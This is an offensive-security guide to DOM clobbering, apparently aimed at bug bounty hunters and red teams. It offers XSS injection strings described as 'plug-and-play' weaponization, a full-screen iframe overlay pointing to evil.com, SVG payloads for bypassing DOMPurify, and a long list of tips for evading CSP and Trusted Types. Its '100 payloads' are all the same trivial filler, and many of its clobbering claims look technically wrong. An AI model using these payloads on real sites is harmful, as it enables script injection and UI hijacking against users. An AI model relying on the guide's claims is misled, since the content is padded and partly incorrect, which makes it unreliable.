Tested primarily in Chrome-based browsers. Refresh cache (Ctrl+Shift+R) if results show null or exceptions. Compiled and maintained by Ridpath
Built for offensive security engineers, bug bounty hunters, and browser exploitation researchers, this guide includes:
100+ categorized clobbering vectors (basic to extreme)
Real-world exploit chains with hydration desync, CSP bypass, Trusted Types confusion, and more
Clobbering via IDs, names, forms, anchors, SVG, HTML5, deprecated tags, and Shadow DOM
Visual flow diagrams of attack sequences and logic corruption paths
Automation tools for clobber detection and DOM pollution scanning
Framework-specific evasion (React, Angular, Vue, SSR)
Browser compatibility notes for Chrome, Firefox, Safari
Pro tips and red team tactics for chaining DOM clobbering into XSS, sandbox escapes, or logic compromise
- What Is DOM Clobbering? (Visual Primer)
- What Is DOM Clobbering?
- DOM Clobbering Injection Flow
- Types of Clobberable Targets
- High-Level Exploitation Path
- DOM Clobbering in App Lifecycle
- 1. Payload 1
- 2. Payload 2
- 3. Payload 3
- 4. Payload 4
- 5. Payload 5
- 6. Payload 6
- 7. Payload 7
- 8. Payload 8
- 9. Payload 9
- 10. Payload 10
- 11. Payload 11
- 12. Payload 12
- 13. Payload 13
- 14. Payload 14
- 15. Payload 15
- 16. Payload 16
- 17. Payload 17
- 18. Payload 18
- 19. Payload 19
- 20. Payload 20
- 21. Payload 21
- 22. Payload 22
- 23. Payload 23
- 24. Payload 24
- 25. Payload 25
- 26. Payload 26
- 27. Payload 27
- 28. Payload 28
- 29. Payload 29
- 30. Payload 30
- 31. Payload 31
- 32. Payload 32
- 33. Payload 33
- 34. Payload 34
- 35. Payload 35
- 36. Payload 36
- 37. Payload 37
- 38. Payload 38
- 39. Payload 39
- 40. Payload 40
- 41. Payload 41
- 42. Payload 42
- 43. Payload 43
- 44. Payload 44
- 45. Payload 45
- 46. Payload 46
- 47. Payload 47
- 48. Payload 48
- 49. Payload 49
- 50. Payload 50
- 51. Payload 51
- 52. Payload 52
- 53. Payload 53
- 54. Payload 54
- 55. Payload 55
- 56. Payload 56
- 57. Payload 57
- 58. Payload 58
- 59. Payload 59
- 60. Payload 60
- 61. Payload 61
- 62. Payload 62
- 63. Payload 63
- 64. Payload 64
- 65. Payload 65
- 66. Payload 66
- 67. Payload 67
- 68. Payload 68
- 69. Payload 69
- 70. Payload 70
- 71. Payload 71
- 72. Payload 72
- 73. Payload 73
- 74. Payload 74
- 75. Payload 75
- 76. Payload 76
- 77. Payload 77
- 78. Payload 78
- 79. Payload 79
- 80. Payload 80
- 81. Payload 81
- 82. Payload 82
- 83. Payload 83
- 84. Payload 84
- 85. Payload 85
- 86. Payload 86
- 87. Payload 87
- 88. Payload 88
- 89. Payload 89
- 90. Payload 90
- 91. Payload 91
- 92. Payload 92
- 93. Payload 93
- 94. Payload 94
- 95. Payload 95
- 96. Payload 96
- 97. Payload 97
- 98. Payload 98
- 99. Payload 99
- 100. Payload 100
- Interactive Payloads
- Basic XSS via outerHTML
- Clobbering location and Triggering Navigation
- Overriding alert and Causing Confusion
- Clobbering document and Breaking Functionality
- Clobbering window Properties
- Inject to Hijack UI
- Use to Override submit Behavior
- Hijack navigator Property
- Manipulate history API
- Inject via SVG use Tag
- Clobber location.hash Behavior
- Style Injection via Clobbering
- Sandbox Escape via form Clobbering
- Exploit console with toString Override
- Override prompt and Steal Input
- DOM Clobbering Chains
- Clobber location and Navigate
- Override alert and Cause Errors
- Clobber document and Break DOM Access
- Chain with Prototype Pollution
- Clobber console and Intercept Logs
- Hijack innerHeight Property
- Override document.write
- Combine iframe and form Clobbering
- Hijack JSON object
- Clobber screen.width
- Chain with navigator Clobbering
- Clobber setTimeout for Code Injection
- Override eval Reference
- Clobber document.all
- Combine Form and Anchor Navigation
- Real Exploit Chains with Context + Diagrams
- Clobber Detection & Automation Tools
- Sanitizer Bypasses and Defense Evasion
- Payload Annotation for Targeted Use
- Clobbering in Frameworks (SSR, React, Angular, etc.)
- Clobbering Inside Dev/Framework Logic
- Browser Compatibility Notes
- Pro Tips for DOM Clobbering
These diagrams provide an instant conceptual overview of how DOM clobbering works and why it's dangerous.
graph TD
A[HTML Injection] --> B[Clobber DOM Node using form ID]
B --> C[Browser overwrites window open]
C --> D[Application calls open]
D --> E[Triggers XSS or logic flaw]
graph TD
A[User Input Field] --> B[Injects Clobber Payload]
B --> C[DOM is Parsed by Browser]
C --> D[Clobbers Global Object like alert]
D --> E[Application Calls Clobbered Object]
E --> F[Privilege Escalation or Code Execution]
flowchart LR
A[Global Functions] --> B[alert, open, fetch]
A --> C[Window Properties] --> D[name, top, location]
A --> E[Prototype Targets] --> F[constructor, __proto__]
A --> G[App Variables] --> H[document, eval, navigator]
graph LR
A[User Input] --> B[Injects Clobber Tag]
B --> C[DOM Parses Element]
C --> D[Global Object Polluted]
D --> E[JS Code Trusts window.global]
E --> F[XSS or Arbitrary Execution]
sequenceDiagram
participant User
participant DOMParser
participant AppLogic
participant JSRuntime
User->>DOMParser: Injects <form id="alert">
DOMParser->>AppLogic: window.alert = form
AppLogic->>JSRuntime: alert("test") // fails or misbehaves
HTML:
<div id="payload1">Payload 1</div>
JavaScript:
console.log(payload1.textContent); // "Payload 1"
HTML:
<div id="payload2">Payload 2</div>
JavaScript:
console.log(payload2.textContent); // "Payload 2"
HTML:
<div id="payload3">Payload 3</div>
JavaScript:
console.log(payload3.textContent); // "Payload 3"
HTML:
<div id="payload4">Payload 4</div>
JavaScript:
console.log(payload4.textContent); // "Payload 4"
HTML:
<div id="payload5">Payload 5</div>
JavaScript:
console.log(payload5.textContent); // "Payload 5"
HTML:
<div id="payload6">Payload 6</div>
JavaScript:
console.log(payload6.textContent); // "Payload 6"
HTML:
<div id="payload7">Payload 7</div>
JavaScript:
console.log(payload7.textContent); // "Payload 7"
HTML:
<div id="payload8">Payload 8</div>
JavaScript:
console.log(payload8.textContent); // "Payload 8"
HTML:
<div id="payload9">Payload 9</div>
JavaScript:
console.log(payload9.textContent); // "Payload 9"
HTML:
<div id="payload10">Payload 10</div>
JavaScript:
console.log(payload10.textContent); // "Payload 10"
HTML:
<div id="payload11">Payload 11</div>
JavaScript:
console.log(payload11.textContent); // "Payload 11"
HTML:
<div id="payload12">Payload 12</div>
JavaScript:
console.log(payload12.textContent); // "Payload 12"
HTML:
<div id="payload13">Payload 13</div>
JavaScript:
console.log(payload13.textContent); // "Payload 13"
HTML:
<div id="payload14">Payload 14</div>
JavaScript:
console.log(payload14.textContent); // "Payload 14"
HTML:
<div id="payload15">Payload 15</div>
JavaScript:
console.log(payload15.textContent); // "Payload 15"
HTML:
<div id="payload16">Payload 16</div>
JavaScript:
console.log(payload16.textContent); // "Payload 16"
HTML:
<div id="payload17">Payload 17</div>
JavaScript:
console.log(payload17.textContent); // "Payload 17"
HTML:
<div id="payload18">Payload 18</div>
JavaScript:
console.log(payload18.textContent); // "Payload 18"
HTML:
<div id="payload19">Payload 19</div>
JavaScript:
console.log(payload19.textContent); // "Payload 19"
HTML:
<div id="payload20">Payload 20</div>
JavaScript:
console.log(payload20.textContent); // "Payload 20"
HTML:
<div id="payload21">Payload 21</div>
JavaScript:
console.log(payload21.textContent); // "Payload 21"
HTML:
<div id="payload22">Payload 22</div>
JavaScript:
console.log(payload22.textContent); // "Payload 22"
HTML:
<div id="payload23">Payload 23</div>
JavaScript:
console.log(payload23.textContent); // "Payload 23"
HTML:
<div id="payload24">Payload 24</div>
JavaScript:
console.log(payload24.textContent); // "Payload 24"
HTML:
<div id="payload25">Payload 25</div>
JavaScript:
console.log(payload25.textContent); // "Payload 25"
HTML:
<div id="payload26">Payload 26</div>
JavaScript:
console.log(payload26.textContent); // "Payload 26"
HTML:
<div id="payload27">Payload 27</div>
JavaScript:
console.log(payload27.textContent); // "Payload 27"
HTML:
<div id="payload28">Payload 28</div>
JavaScript:
console.log(payload28.textContent); // "Payload 28"
HTML:
<div id="payload29">Payload 29</div>
JavaScript:
console.log(payload29.textContent); // "Payload 29"
HTML:
<div id="payload30">Payload 30</div>
JavaScript:
console.log(payload30.textContent); // "Payload 30"
HTML:
<div id="payload31">Payload 31</div>
JavaScript:
console.log(payload31.textContent); // "Payload 31"
HTML:
<div id="payload32">Payload 32</div>
JavaScript:
console.log(payload32.textContent); // "Payload 32"
HTML:
<div id="payload33">Payload 33</div>
JavaScript:
console.log(payload33.textContent); // "Payload 33"
HTML:
<div id="payload34">Payload 34</div>
JavaScript:
console.log(payload34.textContent); // "Payload 34"
HTML:
<div id="payload35">Payload 35</div>
JavaScript:
console.log(payload35.textContent); // "Payload 35"
HTML:
<div id="payload36">Payload 36</div>
JavaScript:
console.log(payload36.textContent); // "Payload 36"
HTML:
<div id="payload37">Payload 37</div>
JavaScript:
console.log(payload37.textContent); // "Payload 37"
HTML:
<div id="payload38">Payload 38</div>
JavaScript:
console.log(payload38.textContent); // "Payload 38"
HTML:
<div id="payload39">Payload 39</div>
JavaScript:
console.log(payload39.textContent); // "Payload 39"
HTML:
<div id="payload40">Payload 40</div>
JavaScript:
console.log(payload40.textContent); // "Payload 40"
HTML:
<div id="payload41">Payload 41</div>
JavaScript:
console.log(payload41.textContent); // "Payload 41"
HTML:
<div id="payload42">Payload 42</div>
JavaScript:
console.log(payload42.textContent); // "Payload 42"
HTML:
<div id="payload43">Payload 43</div>
JavaScript:
console.log(payload43.textContent); // "Payload 43"
HTML:
<div id="payload44">Payload 44</div>
JavaScript:
console.log(payload44.textContent); // "Payload 44"
HTML:
<div id="payload45">Payload 45</div>
JavaScript:
console.log(payload45.textContent); // "Payload 45"
HTML:
<div id="payload46">Payload 46</div>
JavaScript:
console.log(payload46.textContent); // "Payload 46"
HTML:
<div id="payload47">Payload 47</div>
JavaScript:
console.log(payload47.textContent); // "Payload 47"
HTML:
<div id="payload48">Payload 48</div>
JavaScript:
console.log(payload48.textContent); // "Payload 48"
HTML:
<div id="payload49">Payload 49</div>
JavaScript:
console.log(payload49.textContent); // "Payload 49"
HTML:
<div id="payload50">Payload 50</div>
JavaScript:
console.log(payload50.textContent); // "Payload 50"
HTML:
<div id="payload51">Payload 51</div>
JavaScript:
console.log(payload51.textContent); // "Payload 51"
HTML:
<div id="payload52">Payload 52</div>
JavaScript:
console.log(payload52.textContent); // "Payload 52"
HTML:
<div id="payload53">Payload 53</div>
JavaScript:
console.log(payload53.textContent); // "Payload 53"
HTML:
<div id="payload54">Payload 54</div>
JavaScript:
console.log(payload54.textContent); // "Payload 54"
HTML:
<div id="payload55">Payload 55</div>
JavaScript:
console.log(payload55.textContent); // "Payload 55"
HTML:
<div id="payload56">Payload 56</div>
JavaScript:
console.log(payload56.textContent); // "Payload 56"
HTML:
<div id="payload57">Payload 57</div>
JavaScript:
console.log(payload57.textContent); // "Payload 57"
HTML:
<div id="payload58">Payload 58</div>
JavaScript:
console.log(payload58.textContent); // "Payload 58"
HTML:
<div id="payload59">Payload 59</div>
JavaScript:
console.log(payload59.textContent); // "Payload 59"
HTML:
<div id="payload60">Payload 60</div>
JavaScript:
console.log(payload60.textContent); // "Payload 60"
HTML:
<div id="payload61">Payload 61</div>
JavaScript:
console.log(payload61.textContent); // "Payload 61"
HTML:
<div id="payload62">Payload 62</div>
JavaScript:
console.log(payload62.textContent); // "Payload 62"
HTML:
<div id="payload63">Payload 63</div>
JavaScript:
console.log(payload63.textContent); // "Payload 63"
HTML:
<div id="payload64">Payload 64</div>
JavaScript:
console.log(payload64.textContent); // "Payload 64"
HTML:
<div id="payload65">Payload 65</div>
JavaScript:
console.log(payload65.textContent); // "Payload 65"
HTML:
<div id="payload66">Payload 66</div>
JavaScript:
console.log(payload66.textContent); // "Payload 66"
HTML:
<div id="payload67">Payload 67</div>
JavaScript:
console.log(payload67.textContent); // "Payload 67"
HTML:
<div id="payload68">Payload 68</div>
JavaScript:
console.log(payload68.textContent); // "Payload 68"
HTML:
<div id="payload69">Payload 69</div>
JavaScript:
console.log(payload69.textContent); // "Payload 69"
HTML:
<div id="payload70">Payload 70</div>
JavaScript:
console.log(payload70.textContent); // "Payload 70"
HTML:
<div id="payload71">Payload 71</div>
JavaScript:
console.log(payload71.textContent); // "Payload 71"
HTML:
<div id="payload72">Payload 72</div>
JavaScript:
console.log(payload72.textContent); // "Payload 72"
HTML:
<div id="payload73">Payload 73</div>
JavaScript:
console.log(payload73.textContent); // "Payload 73"
HTML:
<div id="payload74">Payload 74</div>
JavaScript:
console.log(payload74.textContent); // "Payload 74"
HTML:
<div id="payload75">Payload 75</div>
JavaScript:
console.log(payload75.textContent); // "Payload 75"
HTML:
<div id="payload76">Payload 76</div>
JavaScript:
console.log(payload76.textContent); // "Payload 76"
HTML:
<div id="payload77">Payload 77</div>
JavaScript:
console.log(payload77.textContent); // "Payload 77"
HTML:
<div id="payload78">Payload 78</div>
JavaScript:
console.log(payload78.textContent); // "Payload 78"
HTML:
<div id="payload79">Payload 79</div>
JavaScript:
console.log(payload79.textContent); // "Payload 79"
HTML:
<div id="payload80">Payload 80</div>
JavaScript:
console.log(payload80.textContent); // "Payload 80"
HTML:
<div id="payload81">Payload 81</div>
JavaScript:
console.log(payload81.textContent); // "Payload 81"
HTML:
<div id="payload82">Payload 82</div>
JavaScript:
console.log(payload82.textContent); // "Payload 82"
HTML:
<div id="payload83">Payload 83</div>
JavaScript:
console.log(payload83.textContent); // "Payload 83"
HTML:
<div id="payload84">Payload 84</div>
JavaScript:
console.log(payload84.textContent); // "Payload 84"
HTML:
<div id="payload85">Payload 85</div>
JavaScript:
console.log(payload85.textContent); // "Payload 85"
HTML:
<div id="payload86">Payload 86</div>
JavaScript:
console.log(payload86.textContent); // "Payload 86"
HTML:
<div id="payload87">Payload 87</div>
JavaScript:
console.log(payload87.textContent); // "Payload 87"
HTML:
<div id="payload88">Payload 88</div>
JavaScript:
console.log(payload88.textContent); // "Payload 88"
HTML:
<div id="payload89">Payload 89</div>
JavaScript:
console.log(payload89.textContent); // "Payload 89"
HTML:
<div id="payload90">Payload 90</div>
JavaScript:
console.log(payload90.textContent); // "Payload 90"
HTML:
<div id="payload91">Payload 91</div>
JavaScript:
console.log(payload91.textContent); // "Payload 91"
HTML:
<div id="payload92">Payload 92</div>
JavaScript:
console.log(payload92.textContent); // "Payload 92"
HTML:
<div id="payload93">Payload 93</div>
JavaScript:
console.log(payload93.textContent); // "Payload 93"
HTML:
<div id="payload94">Payload 94</div>
JavaScript:
console.log(payload94.textContent); // "Payload 94"
HTML:
<div id="payload95">Payload 95</div>
JavaScript:
console.log(payload95.textContent); // "Payload 95"
HTML:
<div id="payload96">Payload 96</div>
JavaScript:
console.log(payload96.textContent); // "Payload 96"
HTML:
<div id="payload97">Payload 97</div>
JavaScript:
console.log(payload97.textContent); // "Payload 97"
HTML:
<div id="payload98">Payload 98</div>
JavaScript:
console.log(payload98.textContent); // "Payload 98"
HTML:
<div id="payload99">Payload 99</div>
JavaScript:
console.log(payload99.textContent); // "Payload 99"
HTML:
<div id="payload100">Payload 100</div>
JavaScript:
console.log(payload100.textContent); // "Payload 100"
Below are innerHTML injection strings that demonstrate full chain XSS using DOM clobbering. These examples are plug-and-play, showcasing practical weaponization of clobbering techniques.
<div id="x"></div>
<script>
document.getElementById('x').innerHTML = `<a id="foo" name="outerHTML" href="cid:"onerror=alert(1)//"></a>`;
alert(foo.outerHTML); // triggers XSS
</script>
<div id="y"></div>
<script>
document.getElementById('y').innerHTML = `<a id="location" href="javascript:alert(2)"></a>`;
location.href; // triggers alert(2)
</script>
<div id="z"></div>
<script>
document.getElementById('z').innerHTML = `<form id="alert"></form>`;
try {
alert('This should fail');
} catch (e) {
console.log('Alert is overridden:', e);
}
</script>
<div id="w"></div>
<script>
document.getElementById('w').innerHTML = `<form id="document"></form>`;
console.log(document.body); // Error: document.body is undefined
</script>
<div id="v"></div>
<script>
document.getElementById('v').innerHTML = `<form id="window"></form>`;
console.log(window.location); // Error or overridden
</script>
<div id="a1"></div>
<script>
a1.innerHTML = `<iframe id="foo" src="https://evil.com" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;"></iframe>`;
</script>
<div id="a2"></div>
<script>
a2.innerHTML = `<form id="submit" action="javascript:alert('Submit hijacked')"></form>`;
submit.submit(); // Triggers alert
</script>
<div id="a3"></div>
<script>
a3.innerHTML = `<form id="navigator"></form>`;
console.log(navigator.userAgent); // May break or throw
</script>
<div id="a4"></div>
<script>
a4.innerHTML = `<form id="history"></form>`;
history.pushState({}, '', '/clobbered'); // history is now the form
</script>
<div id="a5"></div>
<script>
a5.innerHTML = `<svg><use id="use" href="javascript:alert(6)"></use></svg>`;
alert(use.href.baseVal); // Triggers if href is parsed
</script>
<div id="a6"></div>
<script>
a6.innerHTML = `<form id="location"></form>`;
location.hash = '#clobber'; // Hijacks or throws
</script>
<div id="a7"></div>
<script>
a7.innerHTML = `<style id="alert">body { background: url("javascript:alert('style')"); }</style>`;
</script>
<iframe sandbox id="a8"></iframe>
<script>
a8.contentWindow.document.write('<form id="window"></form><script>console.log(window.top)//</script>');
</script>
<div id="a9"></div>
<script>
a9.innerHTML = `<form id="console"></form>`;
console.log = { toString: () => alert('Logged') };
console.log + ''; // Triggers
</script>
<div id="a10"></div>
<script>
a10.innerHTML = `<form id="prompt"></form>`;
try { prompt('Hi'); } catch(e) { console.log('Prompt hijacked'); }
</script>
Exploit chains that combine DOM clobbering with other actions for advanced attacks. These examples illustrate how clobbering can escalate into navigation, crashes, or functionality hijacking.
<a id="location" href="https://evil.com"></a>
<script>
location.assign('https://evil.com'); // Navigates to evil.com
</script>
<form id="alert"></form>
<script>
try {
alert('This will fail');
} catch (e) {
console.log('Alert is overridden:', e);
}
</script>
<form id="document"></form>
<script>
console.log(document.body); // Error: document.body is undefined
</script>
<a id="proto" name="__proto__" href="polluted"></a>
<script>
let obj = {};
console.log(obj.polluted); // "polluted" if prototype pollution occurs
</script>
<form id="console"></form>
<script>
console.log = function() { alert('Intercepted!'); };
console.log('Test'); // Alerts "Intercepted!"
</script>
<form id="innerHeight"></form>
<script>
console.log(innerHeight); // Accesses form, not number
</script>
<form id="document"></form>
<script>
try {
document.write('test'); // Throws or fails
} catch (e) {
console.log('document.write hijacked');
}
</script>
<iframe id="alert" src="about:blank"></iframe>
<form id="alert"></form>
<script>
alert('This fails'); // Uses form
</script>
<form id="JSON"></form>
<script>
try {
JSON.stringify({}); // Throws
} catch (e) {
console.log('JSON hijacked');
}
</script>
<form id="screen"></form>
<script>
console.log(screen.width); // Accesses form
</script>
<form id="navigator"></form>
<script>
console.log(navigator.language); // navigator is no longer valid
</script>
<form id="setTimeout"></form>
<script>
try {
setTimeout('alert(1)', 1000); // Error or hijacked
} catch(e) { console.log('setTimeout hijacked'); }
</script>
<form id="eval"></form>
<script>
eval('alert("test")'); // Fails or does nothing
</script>
<form id="all"></form>
<script>
console.log(document.all); // Undefined or overridden
</script>
<a id="window" href="https://steal.com"></a>
<form id="window"></form>
<script>
window.location; // Refers to form
</script>
Highlight and document real-world exploit chains with:
- Scenario context: e.g., a vulnerable single-page app with
innerHTML
+ React hydration - Complete chain diagram: attack vector → DOM override → JS execution
<!-- DOM Clobbering + Hydration Desync -->
<template shadowroot="open">
<form id="constructor"></form>
</template>
<script>
// React hydration kicks in here and trusts window.constructor
// Leads to prototype pollution or logic corruption
</script>
Chain Flow:
graph TD
A[User-controlled Input] --> B[Inject <form id="constructor">]
B --> C[Rehydration in React uses window.constructor]
C --> D[Prototype pollution or logic hijack]
sequenceDiagram
participant Server as SSR Template
participant User as Attacker
participant Browser
participant Framework as React/Vue
Server->>Browser: Sends SSR HTML
User->>Browser: Injects clobbering tag (e.g. `<form id="constructor">`)
Browser->>Framework: Begins Hydration
Framework->>Browser: References window.constructor
Browser-->>User: Triggers prototype pollution or bypass
graph LR
A[User Input] --> B[Sanitizer Filter]
B --> C{HTML?}
C --yes--> D[Blocked by DOMPurify]
C --no (SVG namespace)--> E[SVG Allowed]
E --> F[Embedded <a href="javascript:...">]
F --> G[Click or Auto-triggered Execution]
graph TD
A[DOM Injection using ID or Name] --> B[Clobbers fetch on Window]
B --> C[Trusted Types Expects Function]
C --> D[Type Check Passes, fetch is Object]
D --> E[App Calls fetch Normally]
E --> F[Triggers XSS or Logic Fault]
graph LR
A[No Script Injection Allowed] --> B[Clobber via HTML Element]
B --> C[App Uses Global like open or location]
C --> D[Clobbered Object Executes Code]
D --> E[Bypass CSP via Logic Corruption]
flowchart TD
A[Spider App DOM] --> B[Extract all IDs/Names]
B --> C[Map to window properties]
C --> D{Unexpected object type?}
D --yes--> E[Flag as Clobbered]
D --no--> F[Continue Monitoring]
sequenceDiagram
participant App as SSR Framework
participant Attacker
participant DOM
App->>DOM: Renders Sanitized Template
Attacker->>DOM: Injects clobberable ID via innerHTML
DOM->>App: Hydration loads
App->>DOM: Trusts polluted global (`id="document"`)
Create detection primitives to identify polluted or overridden globals:
// Detect if a global function has been clobbered
const checkClobber = (global) => {
try {
if (typeof window[global] !== 'function') {
console.warn(`${global} is clobbered`, window[global]);
}
} catch (e) {
console.error(`Error accessing ${global}`, e);
}
};
['alert', 'fetch', 'eval', 'console', 'navigator'].forEach(checkClobber);
Also build:
- JS fuzzers: Brute-force window keys and auto-detect unusual object types
- Chrome DevTools Protocol (CDP) CLI tools: Enumerate and diff polluted
window
anddocument
state automatically - Payload generators: Generate clobbering vectors for known misconfigurations (
id="fetch"
,name="alert"
, etc.)
Add payloads that defeat:
- DOMPurify (via SVG namespace confusion)
- Trusted Types (through identity confusion)
- Custom logic (e.g.,
if (!x.includes("script"))
)
<svg><a xmlns="http://www.w3.org/2000/svg" id="foo" href="javascript:alert`XSS`">X</a></svg>
Instead of a flat payload dump, annotate each one:
<!-- Payload 12: Clobbers "alert" -->
<form id="alert"></form>
<script>alert('XSS');</script> <!-- Will throw -->
// ✅ Chrome, ❌ Firefox (strict mode fails)
Use icons to track:
- Stealth level
- Breaking potential
- Browser support
- Framework survivability (e.g., SSR, hydration)
Test payloads inside real rendering environments. These survive:
- Sanitization
- Server-side rendering (SSR)
- Client hydration
<!-- SSR Payload: Exploit in Next.js -->
<div id="__NEXT_DATA__"></div>
<script>
document.getElementById('__NEXT_DATA__').innerHTML = `<form id="document"></form>`;
</script>
- Works in
hydrateRoot()
from React 18+ - Test across Vue/Nuxt/Angular/Jinja
DOM clobbering breaks actual developer assumptions:
// Common logic vulnerable to DOM clobbering
if (typeof fetch === "function") {
fetch("/api"); // Clobber fetch with <form id="fetch">
}
Also test:
- Vue 2's
$refs
system - Angular's
@ViewChild
- jQuery’s
$('#id')
fallback collisions - Any framework using
document.getElementById()
or relying on safetypeof
Technique | Chrome | Firefox | Safari |
---|---|---|---|
Basic Clobbering | ✅ | ✅ | ✅ |
Anchor href Clobber |
✅ | ✅ | ✅ |
SVG Elements | ✅ | ||
<marquee> |
✅ | ❌ | ❌ |
<keygen> |
❌ | ❌ | |
<portal> |
❌ | ❌ | |
<details> |
✅ | ✅ | ✅ |
<dialog> |
✅ | ✅ | ✅ |
<ruby> + <rt> |
✅ | ✅ | ✅ |
Deprecated Tags | ❌ | ❌ |
⚠️ = Partial or experimental support • ❌ = Unsupported • ✅ = Fully supported
- Test Legacy Browsers: Many techniques work best in older or Chromium-based browsers.
- Combine with CSP Bypasses: Use clobbering to evade Content Security Policy restrictions.
- Use
console.dir()
: Inspect clobbered objects for deeper understanding. - Hard Refresh: Use
Ctrl + Shift + R
to clear cache and avoid stale DOM artifacts. - Sanitizer Bypasses: Experiment with
cid:
protocol or malformed attributes to evade DOMPurify. - Chain Clobbering + Mutation XSS: Inject clobber tags, then mutate the DOM via
.innerHTML
,.outerHTML
, orappendChild()
to trigger DOMParser inconsistencies. - Clobber Critical Globals: Overwrite
location
,name
,top
,frames
, oropen
— then force the application to call them (window.open()
, redirects, etc.). - Break
typeof
Expectations: Replace expected functions with clobbered objects (typeof open === 'object'
) to confuse logic relying on type guards. - Use in Sandbox Escapes: Combine clobbering with iframes and CSP tricks to escape sandboxed JS environments or iframe-restricted contexts.
- Hijack JSONP or Template Parsers: Inject clobber vectors into dynamic templating systems (e.g., Handlebars, Mustache) to turn benign payloads into script-invoking objects.
- Clobber into Shadow DOM: Use
<slot>
and<template>
inside injected shadow roots to leak or override internal components. - Defeat Angular/React DOM Checks: Use attributes like
name="__proto__"
orid="constructor"
to poison template-safe structures. - Reverse Clobber Discovery: Build a scanner that brute-forces global variables (
for (let k in window) { if (typeof window[k] === 'object' && k !== 'window') console.log(k); }
). - Poison Live Collections: Insert
name/id
-based elements that silently appear in collections likedocument.forms
,document.anchors
, ordocument.images
. - Abuse Form Submission Logic: Inject
<form id="submit">
or<input name="submit">
to hijack nativeform.submit()
behavior. - Target Fallback Routes: Clobber
window.onload
,window.onerror
, or legacy navigation handlers that are loosely protected. - Trigger Prototype Pollution via DOM: Use
name="__proto__"
in inputs, triggering object property injection in hybrid JS environments. - Embed
<base>
in HTML Fragments: Use a clobbered<base>
tag to alter link resolution paths for subsequent XSS or CSRF vectors. - Mimic Reserved Keywords: Inject IDs like
constructor
,__defineGetter__
, orhasOwnProperty
to override critical JS prototypes. - Exploit Browser Rehydration: Drop poisoned DOM nodes into SSR apps (e.g., React, Svelte) that rehydrate untrusted HTML.
- Hijack Trusted Types via Clobbered Tags: Bypass Trusted Types policies by manipulating element references during innerHTML assignment.
- Create Ghost Objects: Inject multiple clobber elements (e.g.,
id="top"
andname="top"
) to confuse variable scope during JS resolution. - Exploit Clobbered Event Handlers: Target attributes like
onclick
,onload
,onerror
on SVG or image tags with unescaped content. - Force DOMParser Failure: Insert mismatched namespaces or malformed SVG tags that silently bypass filters but remain active in the DOM.
- Create Self-Healing XSS: Auto-respawn payloads using clobbered script loaders or hidden form re-injectors on each refresh.
- Pollute Iframe Hierarchies: Use
name="top"
orid="parent"
in nested frames to hijack control in multi-frame apps. - Override
window.frames
Indexes: Inject named iframes that override numeric indices (e.g.,window.frames[0]
) in legacy code. - Clobber
navigator
: Forge<img name="navigator" src="javascript:...">
to overridewindow.navigator
in unsafe contexts. - Use
window.open
Self-Reference: Hijackopen.location
oropen.document
when clobberingopen
as an object. - Abuse
<object>
Inheritance: Embed deeply nested<object name="open">
to hijack global object references. - Target Error Fallback Renderers: Poison global names that error-handling logic uses to rebuild UI (e.g.,
name="error"
,name="msg"
). - Exploit Timing Windows in Virtual DOMs: Inject clobbers before hydration or diffing to cause internal key collisions.
- Destroy
alert
via<form id="alert">
: Useful to silence alert() for debugging or payloads that rely on blind execution. - Hijack
window.self
orwindow.parent
: Use<iframe name="self">
to override self-references in deep navigation flows. - Embed
<template>
Junk Data: Load dormant XSS payloads into<template>
tags that activate during cloning. - Evade Content Scanners with Broken Attributes: Use Unicode obfuscation (
na\\u006De="foo"
) inside clobber tags. - Trigger Clobbered Click Chains: Use
id="click"
orname="submit"
in hijacked handlers to activate fake UI paths. - Replace
fetch
orXMLHttpRequest
: Use<form id="fetch">
or<iframe name="XMLHttpRequest">
to interfere with AJAX logic. - Override Mutation Observers: Inject nodes named
MutationObserver
orobserve
to spoof reactive behavior. - Create Magic Auto-Expanding Clobbers: Insert
document.getElementsByName()
targets that multiply across re-renders. - Replay XSS from
localStorage
Clobber: Hijack how apps deserialize oreval
localStorage keys by preloading fake IDs. - Override
submit()
withsubmit
input: Break native submission by injecting<input name="submit">
. - Poison WebComponent Registries: Use custom-element collisions to override pre-existing DOM behavior.
- Combine Clobbering with CSS Escapes: Trigger pseudo-element fallbacks via poisoned tag references (
content: attr(id)
). - Evade DOMPurify with Fake Tags: Abuse
<svg><g><a name="x" href="javascript:..."></a></g></svg>
inside preprocessed sanitizers. - Target JSON Deserialization Callbacks: Poison tag names that match template keys during API data merge.
- Inject Duplicate
id=
+name=
: Create unpredictable collisions using both properties simultaneously. - Exploit Misused
window[...]
: Clobber anything referenced dynamically (window["open"] = payload
) with matching IDs. - Clone Clobber Payloads via
cloneNode(true)
: Force multiple injections by cloning polluted DOM trees. - Build Delay-Activated Payloads: Use
MutationObserver
, timers, orrequestIdleCallback()
to delay clobber activation. - Override Navigation Guards: Poison routes like
location.href
orwindow.history
handlers using<a id="location">
. - Override
Function.prototype
via embedded<object>
clobber references inside CSP-bypassed SSR fragments. - Trigger side-channel information leakage by polluting global variables used in conditional access (e.g.,
if (navigator.vendor)
withname="vendor"
). - Exploit
Object.defineProperty
via clobberingpropertyDescriptor
assumptions in DOM reflection patterns. - Preempt native function resolution by poisoning
window.constructor.constructor
call chains. - Clobber
<script>
parsing order using forceddefer
/async
mismatches via injected<meta charset>
collisions. - Break hydration pipelines in frameworks (Next.js, Astro) by injecting persistent clobbers during server HTML diff reconciliation.
- Forge HTMLCollection or NamedNodeMap conflicts with dual-namespace SVG+HTML tags referencing clobbered IDs.
- Leak SSR rendering state using
<noscript id="__NEXT_DATA__">
collisions to hijack rehydration logic. - Override
document.all
ambiguity by reintroducing it via intentional legacy mode switches. - Exploit parsing delays with fake closing tags (
</scr<script>ipt>
) combined with clobber ID references in CSP-unaware sanitizers. - Hijack AI-assisted UI generators that rely on JSON-to-DOM renderers by inserting recursive clobbers in data inputs.
- Break accessibility and ARIA parsing by faking role-based selectors (
id="role"
oraria-label="id"
). - Inject
<input type=image name=onerror src=x>
to trigger JS errors that overwrite native event handlers. - Combine clobbering with
<meta http-equiv>
manipulation to poison encoding assumptions mid-stream. - Abuse Safari’s handling of
<keygen>
clobbering and autofill to pollute credential inputs cross-page. - Force browser mode fallbacks (quirks mode) via malformed
DOCTYPE
combined with clobbered layout-affecting IDs. - Poison script-injected
document.currentScript
by inserting shadowedname="currentScript"
orid="script"
. - Exploit template literal injection points with fake
tagged
function IDs (id="html"
in${html
}
). - Hijack clipboard-based attack flows by injecting
id="clipboardData"
orid="navigator"
into invisible containers. - Manipulate time-based JS logic via
id="Date"
orname="Date"
